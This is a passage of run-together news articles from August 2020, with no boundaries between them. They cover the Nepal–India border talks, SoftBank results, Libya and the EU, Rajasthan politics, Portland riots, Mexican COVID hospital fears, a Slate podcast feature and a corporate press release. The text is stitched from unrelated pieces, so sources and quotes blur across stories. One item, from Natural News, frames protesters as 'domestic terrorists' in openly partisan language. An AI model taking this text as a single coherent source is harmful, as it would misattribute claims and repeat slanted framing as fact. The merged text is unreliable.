part of Nepalese territory. Kathmandu also said New Delhi has not responded to several requests for talks on the border issue, though India said a meeting couldnt be arranged because of the Covid-19 pandemic. Nepals foreign minister Pradeep Gyawali told The Kathmandu Post on Tuesday: We dont have alternatives to talks...We cant hold our entire ties hostage to the differences over the boundary issue. Gyawali said Nepal is confident its partnership with India will move in a positive direction. For the time being, the boundary issues can be isolated...Differences over one issue should not overshadow our entire bilateral relations...We believe in constructive engagement, and the upcoming meeting is just one positive step towards that end, he added. In recent weeks, the two countries have also engaged in a war of words over the origins of historic figures such as Lord Ram and Gautam Buddha. Nepal on Sunday responded to external affairs minister S Jaishankars remarks that Gautam Buddha was one of the two greatest Indians for people around the world by saying historical and archaeological evidence shows the founder of Buddhism was born in Nepalese territory. India clarified that Jaishankar had referred to the shared heritage of the two countries. Last month, Prime Minister KP Sharma Oli sparked a controversy with his remarks that the real Ayodhya is in Nepal and that Lord Ram was Nepalese. He also said Nepal had become a victim of cultural encroachment and its history was manipulated. Following protests in India, the Nepal government clarified Olis remarks were not linked to any political subject and there was no intention...to hurt the feeling and sentiment of anyone. Nischal Pandey, director of the Kathmandu-based Centre for South Asian Studies, was quoted by the Nepalese media as saying: A weekly war of words between Indian and Nepali officials and subsequent issuance of clarifications does not bode well for bilateral ties. SHARE THIS ARTICLE ON By Sam Nussey TOKYO (Reuters) - SoftBank Group Corp broke with tradition on Tuesday and declined to disclose operating profit in its quarterly results, saying the measure was "not useful" to gauge performance, and instead pointed to a $2.8 billion gain at its Vision Fund. Chief Executive Masayoshi Son has long emphasised the total value of assets as his preferred yardstick. By jettisoning operating profit, however, SoftBank could further stoke investor complaints about a firm long seen as opaque and hard to value. SoftBank, which plunged to a record operating loss last year following writedowns at the Vision Fund, trumpeted a 297 billion yen ($2.80 billion) investment gain in April-June driven by the sell-down of assets and upwards revaluation of its portfolio. The cheer was contained, however, as Son - known for unflagging optimism - cast business in the COVID-19 era in martial terms and said SoftBank was taking a defensive tack. "Every day is like a war," he told an earnings briefing. "Cash is the defence for us." Underscoring the new conservatism, Son said he and SoftBank are placing $555 million in a unit investing in liquid stocks such as Amazon.com Inc and Facebook Inc - a break from his recent emphasis on betting big on fast-growing unlisted start-ups. VALUATIONS Analysts had expected SoftBank to report a first-quarter operating profit, after booking three consecutive quarters of loss. Instead, SoftBank omitted the figure, rejecting it as a measure of the performance of an investment firm. It reported a 12% rise in April-June net profit at 1.3 trillion yen and said the value of assets had risen since March. The Japanese conglomerate provides little detail on how it calculates valuations. For April-June gains, it pointed to sectors including e-commerce and food delivery growing during the coronavirus outbreak. SoftBank is benefiting from a global rally in technology stocks and demand for listings, with portfolio firm Lemonade Inc making its debut in July and BigCommerce Holdings Inc's shares popping on launch last week. Story continues Son said he is looking at options for chip designer Arm including a partial or total sale and relisting. Arm has turned money-losing under his watch, with losses deepening in the April-June quarter. ASSET SALES SoftBank said the Vision Fund trimmed stakes in four listed portfolio companies in April-June and exited three unlisted companies. It did not identify the companies. Its stakes in nine public companies, including the recently listed Relay Therapeutics Inc, are worth $14.6 billion, compared with their $9.9 billion acquisition cost. Even so, at the end of June, Vision Fund's $75.2 billion investment in 86 startups was worth $71.5 billion. SoftBank also recorded gains on the sell-down of assets such as wireless carrier T-Mobile US Inc following its merger with peer Sprint. The firm has raised 4.3 trillion yen through asset sales, meeting 95% of its target. It has been using the proceeds for a massive share buy-back plan which has helped its share price rise 140% from its March lows. The stock ended Tuesday down 2.5% ahead of the earnings announcement, versus a 1.9% rise in the benchmark Nikkei index. ($1 = 106.1400 yen) (Reporting by Sam Nussey; Editing by Christopher Cushing and David Dolan) The Libyan Civil War represents a major challenge to the European Union, but this challenge is about to become much more severe. Russia is strengthening its military presence around strategic areas in Libya. Turkey is sending more troops and military equipment. The Islamic State (IS) group is reforming quietly, expanding capacities, and playing a devastating role in human trafficking in Libya. The United States has begun to distance itself from the conflict. US officials said this week that US presidential elections are nearing, and the administration has no time or energy to be involved in the conflict. Meanwhile, the political process has stalled, with local rivals waiting for a game-changing move from their regional and international allies in hope for outright victory. The complicated picture in war-torn Libya leaves the European Union facing the challenge of protecting its southern borders from a strategic and dangerous competitor like Russia or Turkey with limited options. In recent days, fighters loyal to the Government of National Accord (GNA), supported by Turkey, pushed closer to the oil-rich city of Sirte on the Mediterranean Sea coast, ready for battle. Meanwhile, thousands of Russian military contractors with armoured vehicles and Syrian militiamen have also surrounded the city in recent days to bolster forces loyal to the leader of the Libyan National Army (LNA) in the east, Field Marshal Khalifa Haftar. With the conflict intensifying, Germany, France and Italy plan to push ahead with a bid to use European Union sanctions to stem the continuing supply of arms to Libya. EU sources told the German news agency (DPA) that the three countries have agreed on a list of companies and individuals providing ships, aircraft and other logistics for the transport of weapons in violation of a United Nations embargo that has been in place since 2011. Three companies from Turkey, Jordan and Kazakhstan as well as two individuals from Libya are involved, the EU sources said. In mid-June, the three EU countries warned they are prepared to apply sanctions on those violating the UN embargo. We are prepared to consider a possible use of sanctions if infringements against the land, sea and air embargo continue, the countries three heads of government wrote in a joint statement, without naming a state or an entity that could be the target of any measure taken. France has repeatedly accused Turkey of breaching the arms embargo. The EU recently established a dedicated naval mission named Operation Irini to enforce the embargo. A CLOSER EYE ON IS A solution to the conflict would be important for Germany, France and Italy because smuggling gangs bringing migrants illegally across the Mediterranean Sea to Europe benefit from the chaotic situation. Also, IS remains a persistent threat in Libya and could grow its network again unless the countrys long-running conflict is ended. A new study conducted by the Strategic Studies Institute at the United States Army War College has warned that IS is regrouping, quietly expanding capacity... until [it] might once again be strong enough to be a challenger in Libya. They engage in small-scale attacks and skirmishes necessary to establish themselves in the criminal smuggling network that links Sub-Saharan Africa to the Libyan coast in the north, the study said. After a military campaign by GNA forces, IS was expelled from the coastal city of Sirte in May 2016. The militant group, benefiting from chaos in Libya, moved to Fezzan in the southern Libyan desert, where the group has increasingly embedded themselves in the local human and illicit goods trafficking, particularly along the refugee migration routes through Libya, according to the study. IS in Libya is overwhelmingly composed of non-Libyan foreign fighters, further diminishing their capacity to embed themselves in the local political landscape, it said. However, the study warned the situation could change if the Libyan Civil War is prolonged and called on the international community to ensure stability in the country. [The] longer the instability persists, the longer we go without a central government that does not need to fight everyone else and can keep a closer eye on what IS and other groups like it are doing in the hinterlands, the higher the chance that IS (or someone similar) will stage a large-scale resurgence. The prospect of inevitable military confrontation between local and regional rivals in Libya and IS regrouping is a nightmare scenario for the EU. EXTREMELY WORRYING The situation is also made worse with the continued escalation in the Mediterranean between Turkey and Greece, both NATO member states. This week, Turkey resumed its search for oil and gas in the Eastern Mediterranean, shortly after Egypt and Greece set up an exclusive economic zone in the region. The EU said Turkeys move is extremely worrying. The latest naval mobilisations in the Eastern Mediterranean will lead to a greater antagonism and distrust, warned EU Foreign Policy Chief Josep Borrell. Maritime boundaries must be defined through dialogue and negotiations, not through unilateral actions and mobilisation of naval forces, Borrell added in a statement, expressing his concern over the deployment of Greek and Turkish naval forces in the Eastern Mediterranean. Borrell emphasised disputes must be solved in accordance with international law, adding that Brussels was committed to helping to solve such disputes and disagreements in this area of a vital security interest. The present course of action will not serve the interests either of the European Union or of Turkey. We have to work together for the security in the Mediterranean, he said. The deal between Greece and Egypt aimed to establish maritime boundaries between the two countries. Diplomats in Greece said the agreement nullified an accord reached last November between Turkey and the GNA. The agreement between Cairo and Athens appeared to be a direct response to that agreement which considerably enlarged Turkeys maritime territory and drew accusations from several countries, led by Greece, that Ankara was trying to assert its dominance in the region. The discovery of vast gas reserves in the region in recent years has sparked a prospecting scramble by Greece, Turkey and Egypt, as well as Cyprus and Israel. Turkish President Recep Tayyip Erdogan said Monday that, we are always here and ready to resolve conflicts through dialogue on an equitable basis, following a cabinet meeting in Ankara. Erdogan also called on Mediterranean countries to cooperate in finding an acceptable formula that protects the rights of all. Last month, after Athens objected to Ankaras seismic survey in an area south of the island of Meis, German diplomatic efforts helped defuse tension between Turkey and Greece. But Greeces agreement with Egypt and Turkeys announcement that its seismic vessel Oruc Reis will conduct research in the region until 23 August revived the tensions. THE US STEPPING BACK With the US elections looming and American officials unable to bridge the gap between different rivals in Libya, President Donald Trump has decided to take a step back. According to CNN, recent pleas for Trump to get involved in the conflict have fallen on deaf ears. Many regional players tried to convince Trump to get involved diplomatically and put more pressure on Russian President Vladimir Putin to back down in the country. US and Turkish officials said that Erdogan, in particular, is constantly calling the president (Trump) to get him to pressure Russia on Libya. According to US officials, Trump told several leaders that he would rather not get involved in another messy Middle Eastern conflict, especially as he faces pressing domestic issues before Novembers elections. On Tuesday, US National Security Adviser Robert OBrien said in a statement that the US strongly opposes foreign military involvement, including the use of mercenaries and private military contractors, by all sides, without naming any specific power. OBrien also emphasised that the US is an active, but neutral actor in the Libya conflict, noting in his statement that it is clear there is no winning side. At the beginning of August, Stephanie Williams, the acting UN special envoy for Libya, was in London and delivered a very worrying assessment on the situation in Libya. With so many external actors with their own agendas, the risk of miscalculation and a regional confrontation is high, she said. Williams is due to leave her position by October. As yet there is no agreement between the EU and the US on who should replace her, and his or her mandate. A European diplomat told Al-Ahram Weekly that the signs are not encouraging, with the US and the EU still in disagreement regarding the new UN envoy to Libya. America wants to appoint two UN peace envoys: one working inside Libya with local actors, and the other working outside Libya with regional and international actors. The EU and the UN do not understand why this division is needed, or what is the wisdom of it, the diplomat told the Weekly. Williams departure without a named successor would only highlight the diplomatic chaos in Libya, with time is running out before the situation gets completely out of hand. *A version of this article appears in print in the 13 August, 2020 edition of Al-Ahram Weekly Search Keywords: Short link: The Congress leader and rebel Sachin Pilot met Rahul Gandhi and Priyanka Gandhi in an attempt to sort out the crisis that pushed Ashok Gehlot led government to an edgy situation in Rajasthan. The recent developments brought Sachin Pilot back to the discussion table, a whole month after he revolted against Congress government along with 18 MLAs in his camp. BCCL Not only this, but the Congress high command has also reassured Pilot that they wont take any action against him or the MLAs who stood by him in his rebellion. The CM, also indicated that he would stand by whatever Congress Partys leadership decides and will come to an agreement to the rapprochement effort. BCCL This drama came after a month-long drama flowed by the removal of Sachin Pilot in Rajasthan. In July, Congress removed Sachin Pilot from the post after he revolted against the Ashok Gehlot-led-government in the state. Minutes after getting sacked from his position of Rajasthans deputy CM and the partys state unit chief, Sachin Pilot said that the truth can be disturbed, but not defeated. Also, speculations suggest that Pilot might be joining BJP after the politician removed Congress from his Twitter bio. BCCL Although, Sachin Pilot assured that these are all false rumours and that he never had any intention of joining BJP. Now, Sachin Pilots reconciliation with Congress has flooded Twitter with memes and we cannot stop laughing. So, here we go- So #SachinPilot pulled a #AjitPawar I bet it had something to do with #SharadPawar recent visit to Delhi Ibu Hatela (@Esmilebhai) August 11, 2020 Sachin Pilot leaving Congress pic.twitter.com/0WMDoyBlXB Sagar (@sagarcasm) August 11, 2020 Sachin Pilot has disappointed so many news anchors today. Bad boy. Ajay Kamath (@ajay43) August 10, 2020 Me after knowing the drama ended without any climax of court scene..!! #SachinPilot pic.twitter.com/yqpNL7w7iZ Maaru Chokro (@vampy_vc) August 11, 2020 Rahul sachin meeting Rahul : how was your days ?#SachinPilot pic.twitter.com/TqPWOBhlTu () (@Brahman_Era) August 11, 2020 Sachin pilot and Sachin pilot and Ashok gehlot in Ashok gehlot in Front of media Reality#SachinPilot pic.twitter.com/Px9QxUriWQ Abhishek Maheshwari (@be_mewadi) August 11, 2020 Now, the whole chaos has given a chance to people on Twitter to laugh at the hilarious memes. Which one is your favourite? Let us know in the comments below. (Natural News) Ted Wheeler, the current mayor of Portland, has finally admitted the truth about the violence that has overtaken his city. But this only happened after a group of unruly rioters recently tried to murder city officials inside the local police departments east precinct building. For months, rioters in Portland have been creating mass chaos and putting ordinary peoples lives at risk, to which Wheeler earlier responded by actually joining them in a show of solidarity. But now that these domestic terrorists are targeting the lives of government officials, Wheeler has suddenly changed his tune. When you commit arson with an accelerant in an attempt to burn down a building that is occupied by people that you have intentionally trapped inside, you are not demonstrating, you are attempting to commit murder, Wheeler said in a public statement. Reports indicate that these rioters, many of whom are from out of town, had surrounded the Portland Police Bureaus East Precinct building on Wednesday night after locking government employees inside. They then proceeded to douse the facility in accelerant before trying to burn it down. I believe that city staff could have died last night, Wheeler added. I cannot and I will not tolerate that. This is not peaceful protest. This is not advocacy to advance reforms or transform any system. In his own separate statement, Portland Police Chief Chuck Lovell decried the behavior of these rioters as incomprehensible, adding that these are people who are intentionally planning to go out and attack precincts, trap people inside, (and) set fires to these buildings. Even though rioters are chanting Black Lives Matter, Wheeler and other government officials say there is no affiliation Rather than order local police to crack down on such violence, Wheeler is instead politely asking that the rioters just stop what they are doing and go home. He is basically trying to appeal to whatever senses these domestic terrorists might have left in urging them to stop damaging area buildings and hurting people. This is criminal activity, Wheeler added in a follow-up statement. Its serious. Lives are at stake, and Im authorizing the Portland Police Bureau and our affiliated agencies at Multnomah County and the state of Oregon to do whatever is necessary to safely hold those people accountable who are engaged in criminal activity and bring these nightly activities to a close. Wheeler further encouraged non-violent demonstrators to avoid coming to the areas where rioters are wreaking havoc, so as not to be associated with them. He also indicated that the more these people engage in such behavior, the more it will be used in ads nationally to help Donald Trump during his campaign. If you are involved in this, please stop, petitioned Lt. Damon Simmons with Portland Fire & Rescue. If you are around someone who is involved in this, please ask them to stop. While many of the rioters have been heard chanting Black Lives Matter while they engage in such destruction, Wheeler and other Portland officials insist that this is just a coincidence and that there is no connection between the two groups. In addition to trying to burn down buildings, the Portland rioters are also using lasers to blind police officers and block out surveillance cameras from capturing the mayhem. Rioters have also been seen spray painting surveillance cameras as well as trying to tear them off buildings in order to avoid being seen. Since many of them are masked, this also conceals their identities so they can avoid prosecution. For more related news about the Portland riots, be sure to check out Chaos.news. Sources for this article include: TheEpochTimes.com NaturalNews.com Mumbai, Aug 11 : Bollywood actor Sanjay Dutt, who was hospitalised in the weekend due to breathing problem and chest discomfort, has conveyed to fans that he is taking a break. Dutt, 61, said he needs the break for medical treatment and urged fans not to pay attention to any other speculation. A rumour has been floating around on social media that Dutt has been diagnosed with cancer. Dispelling the rumour, the actor wrote: "Hi friends, I am taking a short break from work for some medical treatment. My family and friends are with me and I urge my well-wishers not to worry or unnecessarily speculate. With your love and good wishes, I will be back soon." Upon being hospitalised on Saturday evening, the actor underwent a Covid-19 test that showed negative result. The actor's next release "Sadak2" is scheduled to premiere on an OTT platform on August 28. Accusing Nagaland Governor RN Ravi of creating hurdles in the final settlement of the Naga political issue, the Isak-Muivah faction of National Socialist Council of Nagaland (NSCN-IM) on Tuesday sought his removal as the interlocutor for the ongoing peace talks. In a statement issued by the outfits information wing, NSCN-IM said the peace process is in a state of simmering tension and reaching tipping point because of Ravis vitriolic attack on Naga issue. The issue is now in the court of Government of India that should come out with an undertaking that Framework Agreement (signed in August 2015) is still alive in its original form and to be handled by somebody other than RN Ravi, the statement read. The biggest and oldest of the Naga rebel outfits, NSCN-IM had been in peace talks with central government since 1997 and signed a Framework Agreement (FA) in 2015, which was to be the basis for a final deal on the long pending Naga issue. Though peace talks with NSCN-IM and other pro-talks rebel outfits (Naga National Political Groups-NNPGs) concluded In October, 2019 a formal deal to end the decades old Naga political problem is still awaited. NSCN-IMs accusations against Ravi come at a time when another round of meetings to thrash out a final agreement is set to begin in New Delhi from next week in which senior NSCN-IM and NNPGs leaders are expected to take part. All the hard word of 23 years of Indo-Naga political talks having passed through six successive prime ministers is coming to a nauseating end because of the mischief that keeps boiling in the hands of this interlocutor who has become more a liability than anything, the statement said. Stating that the actions of Ravi after he was posted as Governor of Nagaland last year as casting a huge trust deficit, the outfit added that he (Ravi) has set the bridge on fire and the meeting point is something unthinkable. NSCN-IM has been upset with actions initiated against its cadres in recent months. It also took umbrage at Ravi terming Naga rebel outfits as armed gangs and underground groups in a letter to Chief Minister Neiphiu Rio in June this year. SHARE THIS ARTICLE ON After two years off birth control, Megan hadnt gotten pregnant. She had made an appointment with a fertility specialist, but she was considering canceling it. She dreaded the process of fertility treatments, and besides, she felt ambivalent about having a child. She urgently needed advice. So she turned to an unlikely source: a podcast. From her home in Melbourne, Australia, Megan emailed Slates How To! with Charles Duhigg. Can you just live a comfortable life and get a dog and travel and not regret when youre in the nursing home and have no one to visit you? she wrote. Or will I wake up and be devastated that I didnt do everything I could to be a mother? Advertisement How To! launched a year ago, with the premise What if Dear Abby was an investigative reporter? People write to Duhigga Pulitzer Prize winner and author of The Power of Habitwith their problems, and he tracks down an expert to give them advice. (Ive been working as a production assistant on the show since October 2019.) Advertisement Advertisement Advertisement Some of the people who write in are struggling with weighty issues: a woman unable to forgive her dead mother, a grieving man crippled by anxiety attacks, a therapist who hasnt slept a full night in over a decade. Others, like the pastor who wants to make his sermons funnier, or the dental student who wants to write songs, are just hoping to level up. Either way, every episode of How To! starts with an ordinary person who needs help. Advertisement Advertisement So what happens to those ordinary people after theyve received expert advice on the podcast? Do they find relief for a few days? Or do they actually change their lives? Early one morning, speaking quietly from her office, Megan admitted everything to author Cheryl Strayed. Strayed told Megan she had felt the same way about having children. Then she proposed a new way to think about big decisions: Imagine, she said, you are standing on a shore, deciding between two ships. Regret is the baggage you carry with you, regardless of which vessel you board. Ambivalence is part of the journey, rather than a problem to work through. When the recording session ended, Megan called her husband to tell him: They had to admit that loss was inherent in each decision, and to decide which ghost ship would leave without them. Advertisement A few weeks later, Megan and her husband listened, separately, to the podcast. It was after listening to the podcast that we really made the decision, she said recently. They would keep the appointment with the fertility specialist and try for a child. Jason wanted to know how to change other peoples minds. He had fought drug addiction for 15 years, and he knew that everyone in his small Illinois town had written him off as a meth addict. Now, eight months sober, he wanted to show them he had changed and regain custody of his two sons. Christmas was coming, and Jason had been saving his $9-an-hour paycheck from the local gas station for presents. He would be granted just two hours to visit with them the day after Christmas. Advertisement Advertisement Advertisement Advertisement When Jason described his struggles on the podcast, psychologist Fred Muench spoke of his own recovery from heroin addiction. You can change, Fred said, and it will still take everyone a long time to believe its real, but you have to keep showing them. People in Jasons town listened to the episode, and that was helpful, he told us. It got some people to hear my side of things where they wouldnt have otherwise. Jasons 13-year-old son sent the episode to his teachers and principal. And his wife told us she hadnt realized how much the communitys rejection gnawed at Jason. He tells me all the time it doesnt matter what other people think, she said. It made me realize my husbands human, too. Advertisement Advertisement Advertisement Perhaps most importantly, Jasons stepfatherwho had told him, Once an addict, always an addictlistened, and was moved to apologize. He added: Prove me wrong. Jason knows a podcast episode isnt a long-term fix. Im going to be an addict until the day I die. Its something I have to accept, he said. The past few months have been particularly difficult. He still doesnt have custody of his kids, friends and family members have died, the pandemic has cost him and his wife their jobs, and isolating at home has pushed his rehab to Zoom. But Jason hasnt relapseda success he credits in part to Fred Muench, who Jason now video-chats with every week. Advertisement Hema immigrated to Chicago from India in her late 20s, and finally admitted to herself that she was gay. Her mother called being gay an American thing, and refused to discuss it at all. Hema wrote to the show to ask how to persuade her mother to accept her. Advertisement In an episode from this spring, Hema was introduced to another Indian immigrant and lesbian, Sonali Gulati, a filmmaker who never had the chance to come out to her own mother. Together, they developed a plan for Hema to reach her mom and the rest of her family. I was emboldened by it. I wasnt afraid to talk about it anymore, Hema said recently. She sent the episode to her mom and her cousins, and her mom texted back: I understand. Dont worry. Advertisement Each episode of How To! spurs responses from listeners. In response to How To Find Your First Kiss at 38, a 46-year-old man wrote in to the show: I have never been kissed either. We all get nervous. After How To Lose 155 Pounds Happily, one woman offered to be a weight loss partner for our listener Ashley. Ive had many of the same experiences, she wrote. I would love to have fellow post surgery friends to bounce struggles, resources, and support among each other. And dozens of listeners emailed after How To Walk Away From an Impossible Parent. Im 54 years of age & have been estranged from my dad for the last 23 years, one wrote. It was a little comforting to read that I am not alone in this type of a relationship, another admitted. A handful asked if they could get in touch with that episodes guesthaving once wrestled with the same problem, they wondered if they now could be in the position of advice-giver. I really wanted to reach out. I really wish someone had done this for me in my 20s, wrote one woman. Advertisement Advertisement Advertisement Sometimes, with our guests permission, we connect these listeners. Other times, they come on the show themselves. In Pennsylvania, a woman named Karin heard Hemas episode and began to cry. For over a year, she had been struggling to accept her childs nonbinary gender identityand to convince her husband to support them. She wrote to the show and was connected with Lisa DelCol, a PFLAG activist who is herself the mother of a nonbinary child. Together, they crafted a script for Karin to use with her husbandand after they talked, he agreed to start using their childs proper name. Advertisement Advertisement For many like Karin, the knowledge that someone else shares their problem is in itself helpful. As Matt, who suffered from anxiety attacks until he came on the show, said, Its so weird because you have a conversation and then no more anxiety attacks. Its not really how therapy works. But something clicked in my head. You guys hearing it and then saying, Thats OK. Youre doing that because youve been through a lot. Its really been life-changing. Advertisement Soon after Megans first appointment with the fertility specialist, she got pregnant naturally. Im not the sort of person who believes in fate or anything like that, Megan said. But, she explained, it felt like my body waited until I was mentally and emotionally in, and had made that real decision, before it kicked into gear. Megan spoke quietly so as not to wake her 5-week-old daughter, Dorothy, who was sleeping on her lap. She says she doesnt regret parenthood as she feared she might, and that shes happy on her ship. It seems like a weird thing to say, Megan said, but this little podcast and the wisdom that was shared by itpartly as a result of that, theres a new person in the world. Listen to the original episode with Megan getting advice from Cheryl Strayed, the author of Wild. TULSA, Okla., Aug. 11, 2020 /PRNewswire/ -- PPT Solutions, a premier provider of client-centric, performance-based Customer Experience and Business Optimization Solutions, announced today the addition of Monica Neuert to its growing Enterprise Solutions Team. Her strategic appointment will further strengthen the company's service and capability offerings and play a key role in supporting the organization's rapidly expanding client portfolio. Neuert joins PPT Solutions with over 12 years of progressive business development and client solutions experience, primarily focusing on information technology (IT), security, infrastructure and cloud services. In this newly created role, she will be responsible for initiating consulting engagements with world-class organizations interested in optimizing their communication infrastructures, contact center operations and customer experience management processes. PPT Solutions' New Director of Enterprise Solutions "Monica has a keen understanding of the challenges facing businesses today and the experience to help those organizations not only survive but thrive with forward-thinking solutions," stated Casey Kostecka, PPT Solutions' Senior Vice President, Enterprise Solutions and Marketing. "We're excited to welcome Monica to the PPT Solutions Enterprise Solutions team, as her experience and insights will strongly benefit our existing and prospective clients." Prior to joining PPT Solutions, Neuert gained her extensive IT experience through senior-level roles at AT&T and T-Mobile and her buildout of the sales division for tech startup TeamUniformOrders (TUO). Visit pptsolutions.com to learn more about the company's industry-leading Customer Experience and Business Optimization Solutions. To learn more about PPT Solutions' career opportunities, visit pptsolutions.com/careers. About PPT Solutions Since 2013, PPT Solutions has served as a premier provider of client-centric, performance-based Customer Experience and Business Optimization Solutions. Whether a Fortune 50 company or an emerging business, we passionately deliver a broad range of people, process and technology solutions customized to increase customer advocacy, enhance revenue and optimize operational efficiency. With an extensive portfolio of Management Consulting, Managed Services and Cloud Solution Services capabilities, our clients rely on us for advanced insights, adaptive business processes and innovative growth strategies. Visit pptsolutions.com to learn more. Media Contact: Brian Fallers PPT Solutions Tel: +1 302.559.6431 [email protected] Related Images monica-neuert.jpg Monica Neuert PPT Solutions' New Director of Enterprise Solutions Related Links PPT Solutions Website PPT Solutions Careers Page SOURCE PPT Solutions As Netflix continues to invest heavily in Indian stories, it has also launched its user interface in Hindi. This enables Netflix members who prefer Hindi to easily discover, access and enjoy their favourite Indian and international films and series. The complete Netflix experience in Hindi, from sign up to search, rows, collections and payment, is available across all devices on mobile, TV and web. Recently, the WATConsult report titled Digital, Diverse and Multilingual India said that by December 2020, close to 70% of all internet users will access the internet in their local languages. How existing Netflix members can switch their user interface from English to Hindi Step 1 Sign into your Netflix account on Netflix.com from your web browser on your device Step 2 Select your profile and choose Manage profiles Step 3 Click on Language drop down menu and select Hindi Step 4 Save your preferences, and get started on streaming your favorite titles! New members can select Hindi as their preferred language when asked during the signup process. On Netflix, members can set upto five profiles in each account, and each profile can have a different language setting. Netflix members outside India also have the option to switch their user interface to Hindi. MEXICO CITY A gray Suzuki stopped outside the General Hospital of Mexico and deposited a heaving Victor Bailon at the entrance. He had refused to come to the hospital for days, convinced that doctors were killing coronavirus patients. By the time he hobbled into the triage area and collapsed on the floor, it was too late. Papito, breathe! his wife screamed. Please breathe. Within an hour, Bailon was dead. Mexico is battling one of the worst coronavirus outbreaks in the world, with more than 52,000 confirmed deaths, the third-highest toll of the pandemic. And its struggle has been made even harder by a pervasive phenomenon: a deeply rooted fear of hospitals. The problem has long plagued nations overwhelmed by unfamiliar diseases. During the Ebola epidemic in 2014, many in Sierra Leone believed that hospitals had become hopeless death traps, leading sick people to stay home and inadvertently spread the disease to their families and neighbors. Here in Mexico, a similar vicious cycle is taking place. As the pandemic crushes an already weak health care system, with bodies piling up in refrigerated trucks, many Mexicans see the COVID ward as a place where only death awaits to be avoided at all cost. The consequences, doctors, nurses and health ministers say, are severe. Mexicans are waiting to seek medical care until their cases are so bad that doctors can do little to help them. Thousands are dying before ever seeing the inside of a hospital, government data show, succumbing to the virus in taxis on the way there or in sickbeds at home. Fighting infections at home may not only spread the disease more widely, epidemiologists say, but it also hides the true toll of the epidemic because an untold number of people die without ever being tested and officially counted as coronavirus victims. Many Mexicans say they have good reason to be wary of hospitals: Nearly 40% of people hospitalized with confirmed cases of the virus in Mexico City, the epicenter of the nations outbreak, end up dying, government data show, a high mortality rate even when compared with some of the worst coronavirus hot spots worldwide. During the peak of the pandemic in New York City, less than 25% of coronavirus patients died in hospitals, studies have estimated. While the statistic may be imprecise because of limited testing, doctors and researchers confirmed that a startling number of people are dying in Mexicos hospitals. During a surge of cases in May, almost half of all COVID-19 deaths in Mexico City hospitals occurred within 12 hours of the patients being admitted, said Dr. Oliva Lopez Arellano, Mexico Citys health minister. In the United States, people who died typically made it five days in the hospital. Doctors say more patients would survive if they sought help earlier. Delaying treatment, they argue, simply leads to more deaths in hospitals which then generates even more fear of hospitals. The distrust is so pronounced that relatives of patients in Ecatepec, a municipality outside of Mexico City, stormed a hospital in May, attacking its employees, filming themselves next to bags of corpses and telling reporters that the institution was killing their loved ones. After seeing videos of what happens to people inside hospitals, screw that, said Bailons brother, Jose Eduardo, who had recently spent 60 days at home recovering from his own bout with what he believes was the coronavirus. Id rather stay home and die there. But many people who die at home in Mexico or even on the way to the hospital are never tested for the virus, so they are not counted as coronavirus victims. Instead, they fall into a statistical black hole of fatalities that are not officially tied to the pandemic. Even by the official count, Mexico has already suffered more coronavirus deaths than any other nation but the United States and Brazil. And the government said recently that during a period of over three months this spring, there were 71,000 more deaths than expected, compared with previous years an indication that the virus has claimed many more lives than the official tally suggests. Adding to the confusion, political leaders here, as in many countries, have sown doubts about the virus and the need to seek medical care. The hugely popular president, Andres Manuel Lopez Obrador, said he uses religious amulets and his clean conscience to protect against the coronavirus, and he has advocated fighting the pandemic at home, with the help of families, rather than in hospitals. Nearly 70% of Mexicans said they would feel unsafe taking their loved ones to the hospital during the pandemic, in a survey published last month. A third said they would prefer to care for their relatives themselves. Now the nations top health officials have begun pleading with Mexicans to stop resisting medical care. Its very important that late care doesnt contribute to death, Hugo Lopez-Gatell, the health official leading the countrys response to the virus, said at a news conference last month. Please, go to hospitals early, especially people who are most at risk. Many are wary of the costs that come with a hospital stay. And in a country plagued by rampant government corruption, the fundamental distrust of authorities often extends to doctors and nurses in public hospitals. At the General Hospital in Mexico City, where Bailon died, suspicion was running high. No one had wanted to come to the hospital, a place that seemed to swallow their loved ones and leave them outside, with few updates to calm the nerves. Everyone had a theory about the real cause of the virus and the destruction it had unleashed. Modesto Gomez, whose wife was inside, heard the government was letting elderly people die of the virus because they had expensive pensions. Hector Mauricio Ortega, whose father was intubated there with a COVID infection, said he believed doctors were purposely infecting people with the virus because countries have a quota of people who need to die every year. Raul Perez woke up in a panic on the benches outside the entrance. It was his 16th day sleeping there after his sister went in for brain surgery. He said he had met seven families of patients who had come in for another illness and then died of the coronavirus. People think maybe theyre injecting them with something or killing them in there, he said. Perez did not believe the rumors at first, but then doctors told him that his sister, who was still intubated after her brain surgery, had tested positive for coronavirus. Now he was frantic, calling all his relatives, telling them the hospital wanted his sister dead. They are letting people get infected, he said. They just want to get rid of one more patient. Lopez, Mexico Citys health minister, said that rumors of malicious medical practices had been widespread. Doctors were supposedly stealing the fluid from peoples knees, or trading their fingerprint data gleaned from oximeter readings. There was a big fake news campaign spreading rumors that health workers were attacking people inside hospitals, profiting from their death, she said. Dr. Ernesto Nepomuceno said that in his clinic in Iztapalapa, a poor neighborhood in Mexico City, doctors perform oximeter readings on themselves to show patients that they are measuring oxygen levels, not recording personal data. We have to make great efforts to put people at ease, Nepomuceno said. Two days before Bailon was wheeled into the General Hospitals intensive care unit, he visited a doctor in his tiny hometown an hour outside of the capital. His oxygen levels were low, but he begged his wife, Fabiola Palma Rodriguez, not to drive him to the hospital. Please dont take me there, I dont want to die, she recalled him telling her. By the time Bailon relented, he was already ravaged by the disease. After a local hospital turned him away, he made the trip to Mexico City. He died on a stretcher in the General Hospital, Palma said, before doctors could intubate him. I would have taken him earlier, but we were both too scared, Palma said. It is so unfair. I took him there alive and brought him back home dead the same day. Aurora Arzate Nieves died on the same day as Bailon, in the same hospital, about 30 hours after being admitted. The matriarch of a tightly knit Mexican family, Arzate, 83, was known for her green mole dish and strong will. Her sons practically had to drag her to the hospital. That decision was tormenting Eduardo Gutierrez Arzate as he said a final goodbye to his mother, who was zipped into a bag inside a Ford minivan converted into a hearse by a funeral company near the hospital. Pawing at the window, Gutierrez begged his mother to wake up. I felt really guilty when I saw her, he said, standing outside the crematory, black smoke billowing overhead. She was scared of everything having to do with the coronavirus and of hospitals, where she would be surrounded by depressed people instead of her family. I asked her in that moment to forgive me, he said. I asked her to forgive me for taking her to the hospital. This article originally appeared in The New York Times. COVID TESTING: A member of the Johanniter, tests a traveller arriving from abroad at a Covid-19 testing station setup at Cologne-Bonn Airport near Cologne, Germany. (Photo by Sascha Schuermann/Getty Images) Around 15,000 meat processing factory workers will be asked to take weekly Covid-19 tests under plans being considered by the Government to stop the spread of the virus in the industry. Meat-factory workers in the three counties still under local lockdown would be the first to undergo the new testing regime before it is then rolled out nationwide. Serial testing of healthcare workers in nursing homes was also recommenced yesterday in 